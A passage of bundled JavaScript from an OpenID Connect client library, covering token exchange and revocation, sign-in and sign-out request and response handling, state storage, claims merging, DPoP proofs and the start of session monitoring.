required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, {\n body: params,\n basicAuth,\n timeoutInSeconds: this._settings.requestTimeoutInSeconds,\n initCredentials: this._settings.fetchRequestCredentials,\n extraHeaders\n });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Exchange credentials.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-4.3.2\n */\n async exchangeCredentials({\n grant_type = \"password\",\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n scope = this._settings.scope,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeCredentials\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n const params = new URLSearchParams({ grant_type });\n if (!this._settings.omitScopeWhenRequesting) {\n params.set(\"scope\", scope);\n }\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, { body: params, basicAuth, timeoutInSeconds: this._settings.requestTimeoutInSeconds, initCredentials: this._settings.fetchRequestCredentials });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Exchange a refresh token.\n *\n * @see https://www.rfc-editor.org/rfc/rfc6749#section-6\n */\n async exchangeRefreshToken({\n grant_type = \"refresh_token\",\n client_id = this._settings.client_id,\n client_secret = this._settings.client_secret,\n timeoutInSeconds,\n extraHeaders,\n ...args\n }) {\n const logger2 = this._logger.create(\"exchangeRefreshToken\");\n if (!client_id) {\n logger2.throw(new Error(\"A client_id is required\"));\n }\n if (!args.refresh_token) {\n logger2.throw(new Error(\"A refresh_token is required\"));\n }\n const params = new URLSearchParams({ grant_type });\n for (const [key, value] of Object.entries(args)) {\n if (Array.isArray(value)) {\n value.forEach((param) => params.append(key, param));\n } else if (value != null) {\n params.set(key, value);\n }\n }\n let basicAuth;\n switch (this._settings.client_authentication) {\n case \"client_secret_basic\":\n if (client_secret === void 0 || client_secret === null) {\n logger2.throw(new Error(\"A client_secret is required\"));\n throw null;\n }\n basicAuth = CryptoUtils.generateBasicAuth(client_id, client_secret);\n break;\n case \"client_secret_post\":\n params.append(\"client_id\", client_id);\n if (client_secret) {\n params.append(\"client_secret\", client_secret);\n }\n break;\n }\n const url = await this._metadataService.getTokenEndpoint(false);\n logger2.debug(\"got token endpoint\");\n const response = await this._jsonService.postForm(url, { body: params, basicAuth, timeoutInSeconds, initCredentials: this._settings.fetchRequestCredentials, extraHeaders });\n logger2.debug(\"got response\");\n return response;\n }\n /**\n * Revoke an access or refresh token.\n *\n * @see https://datatracker.ietf.org/doc/html/rfc7009#section-2.1\n */\n async revoke(args) {\n var _a;\n const logger2 = this._logger.create(\"revoke\");\n if (!args.token) {\n logger2.throw(new Error(\"A token is required\"));\n }\n const url = await this._metadataService.getRevocationEndpoint(false);\n logger2.debug(`got revocation endpoint, revoking ${(_a = args.token_type_hint) != null ? _a : \"default token type\"}`);\n const params = new URLSearchParams();\n for (const [key, value] of Object.entries(args)) {\n if (value != null) {\n params.set(key, value);\n }\n }\n params.set(\"client_id\", this._settings.client_id);\n if (this._settings.client_secret) {\n params.set(\"client_secret\", this._settings.client_secret);\n }\n await this._jsonService.postForm(url, { body: params, timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"got response\");\n }\n};\n\n// src/ResponseValidator.ts\nvar ResponseValidator = class {\n constructor(_settings, _metadataService, _claimsService) {\n this._settings = _settings;\n this._metadataService = _metadataService;\n this._claimsService = _claimsService;\n this._logger = new Logger(\"ResponseValidator\");\n this._userInfoService = new UserInfoService(this._settings, this._metadataService);\n this._tokenClient = new TokenClient(this._settings, this._metadataService);\n }\n async validateSigninResponse(response, state, extraHeaders) {\n const logger2 = this._logger.create(\"validateSigninResponse\");\n this._processSigninState(response, state);\n logger2.debug(\"state processed\");\n await this._processCode(response, state, extraHeaders);\n logger2.debug(\"code processed\");\n if (response.isOpenId) {\n this._validateIdTokenAttributes(response);\n }\n logger2.debug(\"tokens validated\");\n await this._processClaims(response, state == null ? void 0 : state.skipUserInfo, response.isOpenId);\n logger2.debug(\"claims processed\");\n }\n async validateCredentialsResponse(response, skipUserInfo) {\n const logger2 = this._logger.create(\"validateCredentialsResponse\");\n const shouldValidateSubClaim = response.isOpenId && !!response.id_token;\n if (shouldValidateSubClaim) {\n this._validateIdTokenAttributes(response);\n }\n logger2.debug(\"tokens validated\");\n await this._processClaims(response, skipUserInfo, shouldValidateSubClaim);\n logger2.debug(\"claims processed\");\n }\n async validateRefreshResponse(response, state) {\n var _a, _b;\n const logger2 = this._logger.create(\"validateRefreshResponse\");\n response.userState = state.data;\n (_a = response.session_state) != null ? _a : response.session_state = state.session_state;\n (_b = response.scope) != null ? _b : response.scope = state.scope;\n if (response.isOpenId && !!response.id_token) {\n this._validateIdTokenAttributes(response, state.id_token);\n logger2.debug(\"ID Token validated\");\n }\n if (!response.id_token) {\n response.id_token = state.id_token;\n response.profile = state.profile;\n }\n const hasIdToken = response.isOpenId && !!response.id_token;\n await this._processClaims(response, false, hasIdToken);\n logger2.debug(\"claims processed\");\n }\n validateSignoutResponse(response, state) {\n const logger2 = this._logger.create(\"validateSignoutResponse\");\n if (state.id !== response.state) {\n logger2.throw(new Error(\"State does not match\"));\n }\n logger2.debug(\"state validated\");\n response.userState = state.data;\n if (response.error) {\n logger2.warn(\"Response was error\", response.error);\n throw new ErrorResponse(response);\n }\n }\n _processSigninState(response, state) {\n var _a;\n const logger2 = this._logger.create(\"_processSigninState\");\n if (state.id !== response.state) {\n logger2.throw(new Error(\"State does not match\"));\n }\n if (!state.client_id) {\n logger2.throw(new Error(\"No client_id on state\"));\n }\n if (!state.authority) {\n logger2.throw(new Error(\"No authority on state\"));\n }\n if (this._settings.authority !== state.authority) {\n logger2.throw(new Error(\"authority mismatch on settings vs. signin state\"));\n }\n if (this._settings.client_id && this._settings.client_id !== state.client_id) {\n logger2.throw(new Error(\"client_id mismatch on settings vs. signin state\"));\n }\n logger2.debug(\"state validated\");\n response.userState = state.data;\n response.url_state = state.url_state;\n (_a = response.scope) != null ? _a : response.scope = state.scope;\n if (response.error) {\n logger2.warn(\"Response was error\", response.error);\n throw new ErrorResponse(response);\n }\n if (state.code_verifier && !response.code) {\n logger2.throw(new Error(\"Expected code in response\"));\n }\n }\n async _processClaims(response, skipUserInfo = false, validateSub = true) {\n const logger2 = this._logger.create(\"_processClaims\");\n response.profile = this._claimsService.filterProtocolClaims(response.profile);\n if (skipUserInfo || !this._settings.loadUserInfo || !response.access_token) {\n logger2.debug(\"not loading user info\");\n return;\n }\n logger2.debug(\"loading user info\");\n const claims = await this._userInfoService.getClaims(response.access_token);\n logger2.debug(\"user info claims received from user info endpoint\");\n if (validateSub && claims.sub !== response.profile.sub) {\n logger2.throw(new Error(\"subject from UserInfo response does not match subject in ID Token\"));\n }\n response.profile = this._claimsService.mergeClaims(response.profile, this._claimsService.filterProtocolClaims(claims));\n logger2.debug(\"user info claims received, updated profile:\", response.profile);\n }\n async _processCode(response, state, extraHeaders) {\n const logger2 = this._logger.create(\"_processCode\");\n if (response.code) {\n logger2.debug(\"Validating code\");\n const tokenResponse = await this._tokenClient.exchangeCode({\n client_id: state.client_id,\n client_secret: state.client_secret,\n code: response.code,\n redirect_uri: state.redirect_uri,\n code_verifier: state.code_verifier,\n extraHeaders,\n ...state.extraTokenParams\n });\n Object.assign(response, tokenResponse);\n } else {\n logger2.debug(\"No code to process\");\n }\n }\n _validateIdTokenAttributes(response, existingToken) {\n var _a;\n const logger2 = this._logger.create(\"_validateIdTokenAttributes\");\n logger2.debug(\"decoding ID Token JWT\");\n const incoming = JwtUtils.decode((_a = response.id_token) != null ? _a : \"\");\n if (!incoming.sub) {\n logger2.throw(new Error(\"ID Token is missing a subject claim\"));\n }\n if (existingToken) {\n const existing = JwtUtils.decode(existingToken);\n if (incoming.sub !== existing.sub) {\n logger2.throw(new Error(\"sub in id_token does not match current sub\"));\n }\n if (incoming.auth_time && incoming.auth_time !== existing.auth_time) {\n logger2.throw(new Error(\"auth_time in id_token does not match original auth_time\"));\n }\n if (incoming.azp && incoming.azp !== existing.azp) {\n logger2.throw(new Error(\"azp in id_token does not match original azp\"));\n }\n if (!incoming.azp && existing.azp) {\n logger2.throw(new Error(\"azp not in id_token, but present in original id_token\"));\n }\n }\n response.profile = incoming;\n }\n};\n\n// src/State.ts\nvar State = class _State {\n constructor(args) {\n this.id = args.id || CryptoUtils.generateUUIDv4();\n this.data = args.data;\n if (args.created && args.created > 0) {\n this.created = args.created;\n } else {\n this.created = Timer.getEpochTime();\n }\n this.request_type = args.request_type;\n this.url_state = args.url_state;\n }\n toStorageString() {\n new Logger(\"State\").create(\"toStorageString\");\n return JSON.stringify({\n id: this.id,\n data: this.data,\n created: this.created,\n request_type: this.request_type,\n url_state: this.url_state\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"State\", \"fromStorageString\");\n return Promise.resolve(new _State(JSON.parse(storageString)));\n }\n static async clearStaleState(storage, age) {\n const logger2 = Logger.createStatic(\"State\", \"clearStaleState\");\n const cutoff = Timer.getEpochTime() - age;\n const keys = await storage.getAllKeys();\n logger2.debug(\"got keys\", keys);\n for (let i = 0; i < keys.length; i++) {\n const key = keys[i];\n const item = await storage.get(key);\n let remove = false;\n if (item) {\n try {\n const state = await _State.fromStorageString(item);\n logger2.debug(\"got item from key:\", key, state.created);\n if (state.created <= cutoff) {\n remove = true;\n }\n } catch (err) {\n logger2.error(\"Error parsing state for key:\", key, err);\n remove = true;\n }\n } else {\n logger2.debug(\"no item in storage for key:\", key);\n remove = true;\n }\n if (remove) {\n logger2.debug(\"removed item for key:\", key);\n void storage.remove(key);\n }\n }\n }\n};\n\n// src/SigninState.ts\nvar SigninState = class _SigninState extends State {\n constructor(args) {\n super(args);\n this.code_verifier = args.code_verifier;\n this.code_challenge = args.code_challenge;\n this.authority = args.authority;\n this.client_id = args.client_id;\n this.redirect_uri = args.redirect_uri;\n this.scope = args.scope;\n this.client_secret = args.client_secret;\n this.extraTokenParams = args.extraTokenParams;\n this.response_mode = args.response_mode;\n this.skipUserInfo = args.skipUserInfo;\n }\n static async create(args) {\n const code_verifier = args.code_verifier === true ? CryptoUtils.generateCodeVerifier() : args.code_verifier || void 0;\n const code_challenge = code_verifier ? await CryptoUtils.generateCodeChallenge(code_verifier) : void 0;\n return new _SigninState({\n ...args,\n code_verifier,\n code_challenge\n });\n }\n toStorageString() {\n new Logger(\"SigninState\").create(\"toStorageString\");\n return JSON.stringify({\n id: this.id,\n data: this.data,\n created: this.created,\n request_type: this.request_type,\n url_state: this.url_state,\n code_verifier: this.code_verifier,\n authority: this.authority,\n client_id: this.client_id,\n redirect_uri: this.redirect_uri,\n scope: this.scope,\n client_secret: this.client_secret,\n extraTokenParams: this.extraTokenParams,\n response_mode: this.response_mode,\n skipUserInfo: this.skipUserInfo\n });\n }\n static fromStorageString(storageString) {\n Logger.createStatic(\"SigninState\", \"fromStorageString\");\n const data = JSON.parse(storageString);\n return _SigninState.create(data);\n }\n};\n\n// src/SigninRequest.ts\nvar _SigninRequest = class _SigninRequest {\n constructor(args) {\n this.url = args.url;\n this.state = args.state;\n }\n static async create({\n // mandatory\n url,\n authority,\n client_id,\n redirect_uri,\n response_type,\n scope,\n // optional\n state_data,\n response_mode,\n request_type,\n client_secret,\n nonce,\n url_state,\n resource,\n skipUserInfo,\n extraQueryParams,\n extraTokenParams,\n disablePKCE,\n dpopJkt,\n omitScopeWhenRequesting,\n ...optionalParams\n }) {\n if (!url) {\n this._logger.error(\"create: No url passed\");\n throw new Error(\"url\");\n }\n if (!client_id) {\n this._logger.error(\"create: No client_id passed\");\n throw new Error(\"client_id\");\n }\n if (!redirect_uri) {\n this._logger.error(\"create: No redirect_uri passed\");\n throw new Error(\"redirect_uri\");\n }\n if (!response_type) {\n this._logger.error(\"create: No response_type passed\");\n throw new Error(\"response_type\");\n }\n if (!scope) {\n this._logger.error(\"create: No scope passed\");\n throw new Error(\"scope\");\n }\n if (!authority) {\n this._logger.error(\"create: No authority passed\");\n throw new Error(\"authority\");\n }\n const state = await SigninState.create({\n data: state_data,\n request_type,\n url_state,\n code_verifier: !disablePKCE,\n client_id,\n authority,\n redirect_uri,\n response_mode,\n client_secret,\n scope,\n extraTokenParams,\n skipUserInfo\n });\n const parsedUrl = new URL(url);\n parsedUrl.searchParams.append(\"client_id\", client_id);\n parsedUrl.searchParams.append(\"redirect_uri\", redirect_uri);\n parsedUrl.searchParams.append(\"response_type\", response_type);\n if (!omitScopeWhenRequesting) {\n parsedUrl.searchParams.append(\"scope\", scope);\n }\n if (nonce) {\n parsedUrl.searchParams.append(\"nonce\", nonce);\n }\n if (dpopJkt) {\n parsedUrl.searchParams.append(\"dpop_jkt\", dpopJkt);\n }\n let stateParam = state.id;\n if (url_state) {\n stateParam = `${stateParam}${URL_STATE_DELIMITER}${url_state}`;\n }\n parsedUrl.searchParams.append(\"state\", stateParam);\n if (state.code_challenge) {\n parsedUrl.searchParams.append(\"code_challenge\", state.code_challenge);\n parsedUrl.searchParams.append(\"code_challenge_method\", \"S256\");\n }\n if (resource) {\n const resources = Array.isArray(resource) ? resource : [resource];\n resources.forEach((r) => parsedUrl.searchParams.append(\"resource\", r));\n }\n for (const [key, value] of Object.entries({ response_mode, ...optionalParams, ...extraQueryParams })) {\n if (value != null) {\n parsedUrl.searchParams.append(key, value.toString());\n }\n }\n return new _SigninRequest({\n url: parsedUrl.href,\n state\n });\n }\n};\n_SigninRequest._logger = new Logger(\"SigninRequest\");\nvar SigninRequest = _SigninRequest;\n\n// src/SigninResponse.ts\nvar OidcScope = \"openid\";\nvar SigninResponse = class {\n constructor(params) {\n /** @see {@link User.access_token} */\n this.access_token = \"\";\n /** @see {@link User.token_type} */\n this.token_type = \"\";\n /** @see {@link User.profile} */\n this.profile = {};\n this.state = params.get(\"state\");\n this.session_state = params.get(\"session_state\");\n if (this.state) {\n const splitState = decodeURIComponent(this.state).split(URL_STATE_DELIMITER);\n this.state = splitState[0];\n if (splitState.length > 1) {\n this.url_state = splitState.slice(1).join(URL_STATE_DELIMITER);\n }\n }\n this.error = params.get(\"error\");\n this.error_description = params.get(\"error_description\");\n this.error_uri = params.get(\"error_uri\");\n this.code = params.get(\"code\");\n }\n get expires_in() {\n if (this.expires_at === void 0) {\n return void 0;\n }\n return this.expires_at - Timer.getEpochTime();\n }\n set expires_in(value) {\n if (typeof value === \"string\") value = Number(value);\n if (value !== void 0 && value >= 0) {\n this.expires_at = Math.floor(value) + Timer.getEpochTime();\n }\n }\n get isOpenId() {\n var _a;\n return ((_a = this.scope) == null ? void 0 : _a.split(\" \").includes(OidcScope)) || !!this.id_token;\n }\n};\n\n// src/SignoutRequest.ts\nvar SignoutRequest = class {\n constructor({\n url,\n state_data,\n id_token_hint,\n post_logout_redirect_uri,\n extraQueryParams,\n request_type,\n client_id,\n url_state\n }) {\n this._logger = new Logger(\"SignoutRequest\");\n if (!url) {\n this._logger.error(\"ctor: No url passed\");\n throw new Error(\"url\");\n }\n const parsedUrl = new URL(url);\n if (id_token_hint) {\n parsedUrl.searchParams.append(\"id_token_hint\", id_token_hint);\n }\n if (client_id) {\n parsedUrl.searchParams.append(\"client_id\", client_id);\n }\n if (post_logout_redirect_uri) {\n parsedUrl.searchParams.append(\"post_logout_redirect_uri\", post_logout_redirect_uri);\n if (state_data || url_state) {\n this.state = new State({ data: state_data, request_type, url_state });\n let stateParam = this.state.id;\n if (url_state) {\n stateParam = `${stateParam}${URL_STATE_DELIMITER}${url_state}`;\n }\n parsedUrl.searchParams.append(\"state\", stateParam);\n }\n }\n for (const [key, value] of Object.entries({ ...extraQueryParams })) {\n if (value != null) {\n parsedUrl.searchParams.append(key, value.toString());\n }\n }\n this.url = parsedUrl.href;\n }\n};\n\n// src/SignoutResponse.ts\nvar SignoutResponse = class {\n constructor(params) {\n this.state = params.get(\"state\");\n if (this.state) {\n const splitState = decodeURIComponent(this.state).split(URL_STATE_DELIMITER);\n this.state = splitState[0];\n if (splitState.length > 1) {\n this.url_state = splitState.slice(1).join(URL_STATE_DELIMITER);\n }\n }\n this.error = params.get(\"error\");\n this.error_description = params.get(\"error_description\");\n this.error_uri = params.get(\"error_uri\");\n }\n};\n\n// src/ClaimsService.ts\nvar DefaultProtocolClaims = [\n \"nbf\",\n \"jti\",\n \"auth_time\",\n \"nonce\",\n \"acr\",\n \"amr\",\n \"azp\",\n \"at_hash\"\n // https://openid.net/specs/openid-connect-core-1_0.html#CodeIDToken\n];\nvar InternalRequiredProtocolClaims = [\"sub\", \"iss\", \"aud\", \"exp\", \"iat\"];\nvar ClaimsService = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"ClaimsService\");\n }\n filterProtocolClaims(claims) {\n const result = { ...claims };\n if (this._settings.filterProtocolClaims) {\n let protocolClaims;\n if (Array.isArray(this._settings.filterProtocolClaims)) {\n protocolClaims = this._settings.filterProtocolClaims;\n } else {\n protocolClaims = DefaultProtocolClaims;\n }\n for (const claim of protocolClaims) {\n if (!InternalRequiredProtocolClaims.includes(claim)) {\n delete result[claim];\n }\n }\n }\n return result;\n }\n mergeClaims(claims1, claims2) {\n const result = { ...claims1 };\n for (const [claim, values] of Object.entries(claims2)) {\n if (result[claim] !== values) {\n if (Array.isArray(result[claim]) || Array.isArray(values)) {\n if (this._settings.mergeClaimsStrategy.array == \"replace\") {\n result[claim] = values;\n } else {\n const mergedValues = Array.isArray(result[claim]) ? result[claim] : [result[claim]];\n for (const value of Array.isArray(values) ? values : [values]) {\n if (!mergedValues.includes(value)) {\n mergedValues.push(value);\n }\n }\n result[claim] = mergedValues;\n }\n } else if (typeof result[claim] === \"object\" && typeof values === \"object\") {\n result[claim] = this.mergeClaims(result[claim], values);\n } else {\n result[claim] = values;\n }\n }\n }\n return result;\n }\n};\n\n// src/DPoPStore.ts\nvar DPoPState = class {\n constructor(keys, nonce) {\n this.keys = keys;\n this.nonce = nonce;\n }\n};\n\n// src/OidcClient.ts\nvar OidcClient = class {\n constructor(settings, metadataService) {\n this._logger = new Logger(\"OidcClient\");\n this.settings = settings instanceof OidcClientSettingsStore ? settings : new OidcClientSettingsStore(settings);\n this.metadataService = metadataService != null ? metadataService : new MetadataService(this.settings);\n this._claimsService = new ClaimsService(this.settings);\n this._validator = new ResponseValidator(this.settings, this.metadataService, this._claimsService);\n this._tokenClient = new TokenClient(this.settings, this.metadataService);\n }\n async createSigninRequest({\n state,\n request,\n request_uri,\n request_type,\n id_token_hint,\n login_hint,\n skipUserInfo,\n nonce,\n url_state,\n response_type = this.settings.response_type,\n scope = this.settings.scope,\n redirect_uri = this.settings.redirect_uri,\n prompt = this.settings.prompt,\n display = this.settings.display,\n max_age = this.settings.max_age,\n ui_locales = this.settings.ui_locales,\n acr_values = this.settings.acr_values,\n resource = this.settings.resource,\n response_mode = this.settings.response_mode,\n extraQueryParams = this.settings.extraQueryParams,\n extraTokenParams = this.settings.extraTokenParams,\n dpopJkt,\n omitScopeWhenRequesting = this.settings.omitScopeWhenRequesting\n }) {\n const logger2 = this._logger.create(\"createSigninRequest\");\n if (response_type !== \"code\") {\n throw new Error(\"Only the Authorization Code flow (with PKCE) is supported\");\n }\n const url = await this.metadataService.getAuthorizationEndpoint();\n logger2.debug(\"Received authorization endpoint\", url);\n const signinRequest = await SigninRequest.create({\n url,\n authority: this.settings.authority,\n client_id: this.settings.client_id,\n redirect_uri,\n response_type,\n scope,\n state_data: state,\n url_state,\n prompt,\n display,\n max_age,\n ui_locales,\n id_token_hint,\n login_hint,\n acr_values,\n dpopJkt,\n resource,\n request,\n request_uri,\n extraQueryParams,\n extraTokenParams,\n request_type,\n response_mode,\n client_secret: this.settings.client_secret,\n skipUserInfo,\n nonce,\n disablePKCE: this.settings.disablePKCE,\n omitScopeWhenRequesting\n });\n await this.clearStaleState();\n const signinState = signinRequest.state;\n await this.settings.stateStore.set(signinState.id, signinState.toStorageString());\n return signinRequest;\n }\n async readSigninResponseState(url, removeState = false) {\n const logger2 = this._logger.create(\"readSigninResponseState\");\n const response = new SigninResponse(UrlUtils.readParams(url, this.settings.response_mode));\n if (!response.state) {\n logger2.throw(new Error(\"No state in response\"));\n throw null;\n }\n const storedStateString = await this.settings.stateStore[removeState ? \"remove\" : \"get\"](response.state);\n if (!storedStateString) {\n logger2.throw(new Error(\"No matching state found in storage\"));\n throw null;\n }\n const state = await SigninState.fromStorageString(storedStateString);\n return { state, response };\n }\n async processSigninResponse(url, extraHeaders, removeState = true) {\n const logger2 = this._logger.create(\"processSigninResponse\");\n const { state, response } = await this.readSigninResponseState(url, removeState);\n logger2.debug(\"received state from storage; validating response\");\n if (this.settings.dpop && this.settings.dpop.store) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store);\n extraHeaders = { ...extraHeaders, \"DPoP\": dpopProof };\n }\n try {\n await this._validator.validateSigninResponse(response, state, extraHeaders);\n } catch (err) {\n if (err instanceof ErrorDPoPNonce && this.settings.dpop) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store, err.nonce);\n extraHeaders[\"DPoP\"] = dpopProof;\n await this._validator.validateSigninResponse(response, state, extraHeaders);\n } else {\n throw err;\n }\n }\n return response;\n }\n async getDpopProof(dpopStore, nonce) {\n let keyPair;\n let dpopState;\n if (!(await dpopStore.getAllKeys()).includes(this.settings.client_id)) {\n keyPair = await CryptoUtils.generateDPoPKeys();\n dpopState = new DPoPState(keyPair, nonce);\n await dpopStore.set(this.settings.client_id, dpopState);\n } else {\n dpopState = await dpopStore.get(this.settings.client_id);\n if (dpopState.nonce !== nonce && nonce) {\n dpopState.nonce = nonce;\n await dpopStore.set(this.settings.client_id, dpopState);\n }\n }\n return await CryptoUtils.generateDPoPProof({\n url: await this.metadataService.getTokenEndpoint(false),\n httpMethod: \"POST\",\n keyPair: dpopState.keys,\n nonce: dpopState.nonce\n });\n }\n async processResourceOwnerPasswordCredentials({\n username,\n password,\n skipUserInfo = false,\n extraTokenParams = {}\n }) {\n const tokenResponse = await this._tokenClient.exchangeCredentials({ username, password, ...extraTokenParams });\n const signinResponse = new SigninResponse(new URLSearchParams());\n Object.assign(signinResponse, tokenResponse);\n await this._validator.validateCredentialsResponse(signinResponse, skipUserInfo);\n return signinResponse;\n }\n async useRefreshToken({\n state,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n extraTokenParams\n }) {\n var _a;\n const logger2 = this._logger.create(\"useRefreshToken\");\n let scope;\n if (this.settings.refreshTokenAllowedScope === void 0) {\n scope = state.scope;\n } else {\n const allowableScopes = this.settings.refreshTokenAllowedScope.split(\" \");\n const providedScopes = ((_a = state.scope) == null ? void 0 : _a.split(\" \")) || [];\n scope = providedScopes.filter((s) => allowableScopes.includes(s)).join(\" \");\n }\n if (this.settings.dpop && this.settings.dpop.store) {\n const dpopProof = await this.getDpopProof(this.settings.dpop.store);\n extraHeaders = { ...extraHeaders, \"DPoP\": dpopProof };\n }\n let result;\n try {\n result = await this._tokenClient.exchangeRefreshToken({\n refresh_token: state.refresh_token,\n // provide the (possible filtered) scope list\n scope,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n ...extraTokenParams\n });\n } catch (err) {\n if (err instanceof ErrorDPoPNonce && this.settings.dpop) {\n extraHeaders[\"DPoP\"] = await this.getDpopProof(this.settings.dpop.store, err.nonce);\n result = await this._tokenClient.exchangeRefreshToken({\n refresh_token: state.refresh_token,\n // provide the (possible filtered) scope list\n scope,\n redirect_uri,\n resource,\n timeoutInSeconds,\n extraHeaders,\n ...extraTokenParams\n });\n } else {\n throw err;\n }\n }\n const response = new SigninResponse(new URLSearchParams());\n Object.assign(response, result);\n logger2.debug(\"validating response\", response);\n await this._validator.validateRefreshResponse(response, {\n ...state,\n // override the scope in the state handed over to the validator\n // so it can set the granted scope to the requested scope in case none is included in the response\n scope\n });\n return response;\n }\n async createSignoutRequest({\n state,\n id_token_hint,\n client_id,\n request_type,\n url_state,\n post_logout_redirect_uri = this.settings.post_logout_redirect_uri,\n extraQueryParams = this.settings.extraQueryParams\n } = {}) {\n const logger2 = this._logger.create(\"createSignoutRequest\");\n const url = await this.metadataService.getEndSessionEndpoint();\n if (!url) {\n logger2.throw(new Error(\"No end session endpoint\"));\n throw null;\n }\n logger2.debug(\"Received end session endpoint\", url);\n if (!client_id && post_logout_redirect_uri && !id_token_hint) {\n client_id = this.settings.client_id;\n }\n const request = new SignoutRequest({\n url,\n id_token_hint,\n client_id,\n post_logout_redirect_uri,\n state_data: state,\n extraQueryParams,\n request_type,\n url_state\n });\n await this.clearStaleState();\n const signoutState = request.state;\n if (signoutState) {\n logger2.debug(\"Signout request has state to persist\");\n await this.settings.stateStore.set(signoutState.id, signoutState.toStorageString());\n }\n return request;\n }\n async readSignoutResponseState(url, removeState = false) {\n const logger2 = this._logger.create(\"readSignoutResponseState\");\n const response = new SignoutResponse(UrlUtils.readParams(url, this.settings.response_mode));\n if (!response.state) {\n logger2.debug(\"No state in response\");\n if (response.error) {\n logger2.warn(\"Response was error:\", response.error);\n throw new ErrorResponse(response);\n }\n return { state: void 0, response };\n }\n const storedStateString = await this.settings.stateStore[removeState ? \"remove\" : \"get\"](response.state);\n if (!storedStateString) {\n logger2.throw(new Error(\"No matching state found in storage\"));\n throw null;\n }\n const state = await State.fromStorageString(storedStateString);\n return { state, response };\n }\n async processSignoutResponse(url) {\n const logger2 = this._logger.create(\"processSignoutResponse\");\n const { state, response } = await this.readSignoutResponseState(url, true);\n if (state) {\n logger2.debug(\"Received state from storage; validating response\");\n this._validator.validateSignoutResponse(response, state);\n } else {\n logger2.debug(\"No state from storage; skipping response validation\");\n }\n return response;\n }\n clearStaleState() {\n this._logger.create(\"clearStaleState\");\n return State.clearStaleState(this.settings.stateStore, this.settings.staleStateAgeInSeconds);\n }\n async revokeToken(token, type) {\n this._logger.create(\"revokeToken\");\n return await this._tokenClient.revoke({\n token,\n token_type_hint: type\n });\n }\n};\n\n// src/SessionMonitor.ts\nvar SessionMonitor = class {\n constructor(_userManager) {\n this._userManager = _userManager;\n this._logger = new Logger(\"SessionMonitor\");\n this._start = async (user) => {\n const session_state = user.session_state;\n if (!session_state) {\n return;\n }\n const logger2 = this._logger.create(\"_start\");\n if (user.profile) {\n this._sub = user.profile.sub;\n logger2.debug(\"session_state\", session_state, \", sub\", this._sub);\n } else {\n this._sub = void 0;\n logger2.debug(\"session_state\", session_state, \", anonymous user\");\n }\n if (this._checkSessionIFrame) {\n this._checkSessionIFrame.start(session_state);\n return;\n }\n try {\n const url = await this._userManager.metadataService.getCheckSessionIframe();\n if (url) {\n logger2.debug(\"initializing check session iframe\");\n const client_id = this._userManager.settings.client_id;\n const intervalInSeconds = this._userManager.settings.checkSessionIntervalInSeconds;\n const stopOnError = this._userManager.settings.stopCheckSessionOnError;\n const checkSessionIFrame = new CheckSessionIFrame(this._callback, client_id, url, intervalInSeconds, stopOnError);\n await checkSessionIFrame.load();\n this._checkSessionIFrame = checkSessionIFrame;\n checkSessionIFrame.start(session_state);\n } else {\n logger2.warn(\"no check session iframe found in the metadata\");\n }\n } catch (err) {\n logger2.error(\"Error from getCheckSessionIframe:\", err instanceof Error ? err.message : err);\n }\n };\n this._stop = () => {\n const logger2 = this._logger.create(\"_stop\");\n this._sub = void 0;\n if (this._checkSessionIFrame) {\n this._checkSessionIFrame.stop();\n }\n if (this._userManager.settings.monitorAnonymousSession) {\n const timerHandle = setInterval(async () => {\n clearInterval(timerHandle);\n try {\n const session = await this._userManager.querySessionStatus();\n if (session) {\n const tmpUser = {\n session_state: session.session_state,\n profile: session.sub ? {\n sub: session.sub\n } : null\n };\n void this._start(tmpUser);\n }\n } catch (err) {\n logger2.error(\"error from querySessionStatus\", err instanceof Error ? err.message : err);\n }\n }, 1e3);\n }\n };\n this._callback = async () => {\n const logger2 = this._logger.create(\"_callback\");\n try {\n const session = await this._userManager.querySessionStatus();\n let raiseEvent = true;\n if (session && this._checkSessionIFrame) {\n if (session.sub === this._sub) {\n raiseEvent = false;\n this._checkSessionIFrame.start(session.session_state);\n logger2.debug(\"same sub still logged in at OP, session state has changed, restarting check session iframe; session_state\", session.session_state);\n await this._userManager.events._raiseUserSessionChanged();\n } else {\n logger2.debug(\"different subject signed into OP\", session.sub);\n }\n } else {\n logger2.debug(\"subject no longer signed into OP\");\n }\n if (raiseEvent) {\n if (this._sub) {\n await this._userManager.events._raiseUserSignedOut();\n } else {\n await this._userManager.events._raiseUserSignedIn();\n }\n } else {\n logger2.debug(\"no change in session detected, no event to raise\");\n }\n } catch (err) {\n if (this._sub) {\n logger2.debug(\"Error calling queryCurrentSigninSession; raising signed out event\", err);\n await this._userManager.events._raiseUserSignedOut();\n }\n }\n };\n if (!_userManager) {\n this._logger.throw(new Error(\"No user manager passed\"));\n }\n this._userManager.events.addUserLoaded(this._start);\n this._userManager.events.addUserUnloaded(this._stop);\n this._init().catch((err) => {\n 